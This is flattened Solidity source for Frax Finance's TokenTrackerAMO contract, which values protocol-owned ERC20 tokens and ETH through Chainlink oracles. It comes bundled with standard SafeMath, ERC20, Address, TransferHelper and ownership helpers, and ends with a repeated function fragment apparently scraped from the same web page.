two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/Oracle/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File contracts/Frax/IFraxAMOMinter.sol // MAY need to be updated interface IFraxAMOMinter { function FRAX() external view returns(address); function FXS() external view returns(address); function acceptOwnership() external; function addAMO(address amo_address, bool sync_too) external; function allAMOAddresses() external view returns(address[] memory); function allAMOsLength() external view returns(uint256); function amos(address) external view returns(bool); function amos_array(uint256) external view returns(address); function burnFraxFromAMO(uint256 frax_amount) external; function burnFxsFromAMO(uint256 fxs_amount) external; function col_idx() external view returns(uint256); function collatDollarBalance() external view returns(uint256); function collatDollarBalanceStored() external view returns(uint256); function collat_borrow_cap() external view returns(int256); function collat_borrowed_balances(address) external view returns(int256); function collat_borrowed_sum() external view returns(int256); function collateral_address() external view returns(address); function collateral_token() external view returns(address); function correction_offsets_amos(address, uint256) external view returns(int256); function custodian_address() external view returns(address); function dollarBalances() external view returns(uint256 frax_val_e18, uint256 collat_val_e18); // function execute(address _to, uint256 _value, bytes _data) external returns(bool, bytes); function fraxDollarBalanceStored() external view returns(uint256); function fraxTrackedAMO(address amo_address) external view returns(int256); function fraxTrackedGlobal() external view returns(int256); function frax_mint_balances(address) external view returns(int256); function frax_mint_cap() external view returns(int256); function frax_mint_sum() external view returns(int256); function fxs_mint_balances(address) external view returns(int256); function fxs_mint_cap() external view returns(int256); function fxs_mint_sum() external view returns(int256); function giveCollatToAMO(address destination_amo, uint256 collat_amount) external; function min_cr() external view returns(uint256); function mintFraxForAMO(address destination_amo, uint256 frax_amount) external; function mintFxsForAMO(address destination_amo, uint256 fxs_amount) external; function missing_decimals() external view returns(uint256); function nominateNewOwner(address _owner) external; function nominatedOwner() external view returns(address); function oldPoolCollectAndGive(address destination_amo) external; function oldPoolRedeem(uint256 frax_amount) external; function old_pool() external view returns(address); function owner() external view returns(address); function pool() external view returns(address); function receiveCollatFromAMO(uint256 usdc_amount) external; function recoverERC20(address tokenAddress, uint256 tokenAmount) external; function removeAMO(address amo_address, bool sync_too) external; function setAMOCorrectionOffsets(address amo_address, int256 frax_e18_correction, int256 collat_e18_correction) external; function setCollatBorrowCap(uint256 _collat_borrow_cap) external; function setCustodian(address _custodian_address) external; function setFraxMintCap(uint256 _frax_mint_cap) external; function setFraxPool(address _pool_address) external; function setFxsMintCap(uint256 _fxs_mint_cap) external; function setMinimumCollateralRatio(uint256 _min_cr) external; function setTimelock(address new_timelock) external; function syncDollarBalances() external; function timelock_address() external view returns(address); } // File contracts/Uniswap/TransferHelper.sol // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/Common/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/Utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/Misc_AMOs/TokenTrackerAMO.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================== TokenTrackerAMO ========================= // ==================================================================== // Tracks the value of protocol-owned ERC tokens (and ETH too) so they // can be added to the global collateral value. // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian contract TokenTrackerAMO is Owned { using SafeMath for uint256; // SafeMath automatically included in Solidity >= 8.0.0 /* ========== STATE VARIABLES ========== */ IFraxAMOMinter private amo_minter; AggregatorV3Interface private priceFeedETHUSD; // Tracked addresses address[] public tracked_addresses; mapping(address => bool) public is_address_tracked; // tracked address => is tracked mapping(address => address[]) public tokens_for_address; // tracked address => tokens to track // Oracle related mapping(address => OracleInfo) public oracle_info; // token address => info uint256 public chainlink_eth_usd_decimals; address public timelock_address; address public custodian_address; uint256 private constant PRICE_PRECISION = 1e6; uint256 private constant EXTRA_PRECISION = 1e6; /* ========== STRUCTS ========== */ struct OracleInfo { address token_address; string description; address aggregator_address; uint256 other_side_type; // 0: USD, 1: ETH uint256 decimals; } /* ========== CONSTRUCTOR ========== */ constructor ( address _owner_address, address _amo_minter_address, address[] memory _initial_tracked_addresses, OracleInfo[] memory _initial_oracle_infos ) Owned(_owner_address) { amo_minter = IFraxAMOMinter(_amo_minter_address); // Get the custodian and timelock addresses from the minter custodian_address = amo_minter.custodian_address(); timelock_address = amo_minter.timelock_address(); // Initialize ETH/USD priceFeedETHUSD = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); chainlink_eth_usd_decimals = priceFeedETHUSD.decimals(); // Set the initial oracle info for (uint256 i = 0; i < _initial_oracle_infos.length; i++){ OracleInfo memory thisOracleInfo = _initial_oracle_infos[i]; _setOracleInfo(thisOracleInfo.token_address, thisOracleInfo.aggregator_address, thisOracleInfo.other_side_type); } // Set the initial tracked addresses for (uint256 i = 0; i < _initial_tracked_addresses.length; i++){ address tracked_addr = _initial_tracked_addresses[i]; tracked_addresses.push(tracked_addr); is_address_tracked[tracked_addr] = true; // Add the initially tokens to each tracked_address for (uint256 j = 0; j < _initial_oracle_infos.length; j++){ OracleInfo memory thisOracleInfo = _initial_oracle_infos[j]; tokens_for_address[tracked_addr].push(thisOracleInfo.token_address); } } } /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == timelock_address || msg.sender == owner, "Not owner or timelock"); _; } modifier onlyByOwnGovCust() { require(msg.sender == timelock_address || msg.sender == owner || msg.sender == custodian_address, "Not owner, tlck, or custd"); _; } modifier onlyByMinter() { require(msg.sender == address(amo_minter), "Not minter"); _; } /* ========== VIEWS ========== */ function showAllocations() public view returns (uint256[1] memory allocations) { allocations[0] = getTotalValue(); // Total Value } function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) { frax_val_e18 = getTotalValue(); collat_val_e18 = frax_val_e18; } // Backwards compatibility function mintedBalance() public view returns (int256) { return amo_minter.frax_mint_balances(address(this)); } function allTrackedAddresses() public view returns (address[] memory) { return tracked_addresses; } function allTokensForAddress(address tracked_address) public view returns (address[] memory) { return tokens_for_address[tracked_address]; } function getETHPrice() public view returns (uint256) { ( , int price, , , ) = priceFeedETHUSD.latestRoundData(); return uint256(price).mul(PRICE_PRECISION).div(10 ** chainlink_eth_usd_decimals); } // In USD function getPrice(address token_address) public view returns (uint256 raw_price, uint256 precise_price) { // Oracle info OracleInfo memory thisOracle = oracle_info[token_address]; // Get the price ( , int price, , , ) = AggregatorV3Interface(thisOracle.aggregator_address).latestRoundData(); uint256 price_u256 = uint256(price); // Convert to USD, if not already if (thisOracle.other_side_type == 1) price_u256 = (price_u256 * getETHPrice()) / PRICE_PRECISION; // E6 raw_price = (price_u256 * PRICE_PRECISION) / (uint256(10) ** thisOracle.decimals); // E12 precise_price = (price_u256 * PRICE_PRECISION * EXTRA_PRECISION) / (uint256(10) ** thisOracle.decimals); } // In USD function getValueInAddress(address tracked_address) public view returns (uint256 value_usd_e18) { require(is_address_tracked[tracked_address], "Address not being tracked"); // Get ETH value first value_usd_e18 = (tracked_address.balance * getETHPrice()) / PRICE_PRECISION; // Get token values address[] memory tracked_token_arr = tokens_for_address[tracked_address]; for (uint i = 0; i < tracked_token_arr.length; i++){ address the_token_addr = tracked_token_arr[i]; if (the_token_addr != address(0)) { ( , uint256 precise_price) = getPrice(the_token_addr); uint256 missing_decimals = uint256(18) - ERC20(the_token_addr).decimals(); value_usd_e18 += (((ERC20(the_token_addr).balanceOf(tracked_address) * (10 ** missing_decimals)) * precise_price) / (PRICE_PRECISION * EXTRA_PRECISION)); } } } // In USD function getTotalValue() public view returns (uint256 value_usd_e18) { // Initialize value_usd_e18 = 0; // Loop through all of the tracked addresses for (uint i = 0; i < tracked_addresses.length; i++){ if (tracked_addresses[i] != address(0)) { value_usd_e18 += getValueInAddress(tracked_addresses[i]); } } } /* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */ function setAMOMinter(address _amo_minter_address) external onlyByOwnGov { amo_minter = IFraxAMOMinter(_amo_minter_address); // Get the custodian and timelock addresses from the minter custodian_address = amo_minter.custodian_address(); timelock_address = amo_minter.timelock_address(); // Make sure the new addresses are not address(0) require(custodian_address != address(0) && timelock_address != address(0), "Invalid custodian or timelock"); } // ---------------- Oracle Related ---------------- // Sets oracle info for a token // other_side_type: 0 = USD, 1 = ETH // https://docs.chain.link/docs/ethereum-addresses/ function _setOracleInfo(address token_address, address aggregator_address, uint256 other_side_type) internal { oracle_info[token_address] = OracleInfo( token_address, AggregatorV3Interface(aggregator_address).description(), aggregator_address, other_side_type, uint256(AggregatorV3Interface(aggregator_address).decimals()) ); } function setOracleInfo(address token_address, address aggregator_address, uint256 other_side_type) public onlyByOwnGov { _setOracleInfo(token_address, aggregator_address, other_side_type); } // ---------------- Tracked Address Related ---------------- function toggleTrackedAddress(address tracked_address) public onlyByOwnGov { is_address_tracked[tracked_address] = !is_address_tracked[tracked_address]; } function addTrackedAddress(address tracked_address) public onlyByOwnGov { for (uint i = 0; i < tracked_addresses.length; i++){ if (tracked_addresses[i] == tracked_address) { revert("Address already present"); } } // Add in the address is_address_tracked[tracked_address] = true; tracked_addresses.push(tracked_address); } function removeTrackedAddress(address tracked_address) public onlyByOwnGov { is_address_tracked[tracked_address] = false; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < tracked_addresses.length; i++){ if (tracked_addresses[i] == tracked_address) { tracked_addresses[i] = address(0); // This will leave a null in the array and keep the indices the same // Remove the tracked token entries too delete tokens_for_address[tracked_address]; break; } } } // ---------------- Token Related ---------------- function addTokenForAddress(address tracked_address, address token_address) public onlyByOwnGov { // Make sure the oracle info is present already require(oracle_info[token_address].decimals > 0, "Add Oracle info first"); address[] memory tracked_token_arr = tokens_for_address[tracked_address]; for (uint i = 0; i < tracked_token_arr.length; i++){ if (tracked_token_arr[i] == tracked_address) { revert("Token already present"); } } tokens_for_address[tracked_address].push(token_address); } function removeTokenForAddress(address tracked_address, address token_address) public onlyByOwnGov { address[] memory tracked_token_arr = tokens_for_address[tracked_address]; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < tracked_token_arr.length; i++){ if (tracked_token_arr[i] == token_address) { tokens_for_address[tracked_address][i] = address(0); // This will leave a null in the array and keep the indices the same break; } } } // ---------------- Other ---------------- function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { TransferHelper.safeTransfer(address(tokenAddress), msg.sender, tokenAmount); } // Generic proxy function execute( address _to, uint256 _value, bytes calldata _data ) external onlyByOwnGov returns (bool, bytes memory) { (bool success, bytes memory result) = _to.call{value:_value}(_data); return (success, result); } }
Make sure the oracle info is present already
function addTokenForAddress(address tracked_address, address token_address) public onlyByOwnGov { require(oracle_info[token_address].decimals > 0, "Add Oracle info first"); address[] memory tracked_token_arr = tokens_for_address[tracked_address]; for (uint i = 0; i < tracked_token_arr.length; i++){ if (tracked_token_arr[i] == tracked_address) { revert("Token already present"); } } tokens_for_address[tracked_address].push(token_address); }
10,660,092
